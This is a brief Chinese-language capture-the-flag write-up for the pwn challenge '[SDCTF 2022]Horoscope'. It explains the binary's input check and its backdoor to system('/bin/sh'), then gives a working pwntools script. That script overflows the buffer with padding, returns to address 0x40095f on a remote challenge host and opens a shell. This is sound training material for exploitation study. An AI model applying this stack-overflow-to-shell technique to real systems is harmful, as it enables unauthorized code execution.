NSSCTF(PWN)16

[SDCTF 2022]Horoscope

发现是64位文件

fflush(stdout); // 尝试清除标准输出缓冲区
fgets(s, 320, stdin); // 从标准输入读取一行
processInput(s); // 处理输入

如果v4的值不在1到12之间，打印一条错误消息，并使用fflush(stdout)确保错误消息立即输出，然后调用exit(1)终止程序，我们要输入一个1-12的值

发现这道题有system和binsh

这里可以看到如果调用变量temp的值为1时，那么函数就会调用system("/bin/sh")；

exp：

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28939')
door = 0x40095f
padding =b'9'+ b'a'*(0x30+0x7) #这里b''可以随便写一个1-12的值
payload = padding + p64(door)
io.sendlineafter(b'horoscope',payload)
io.interactive()

得到flag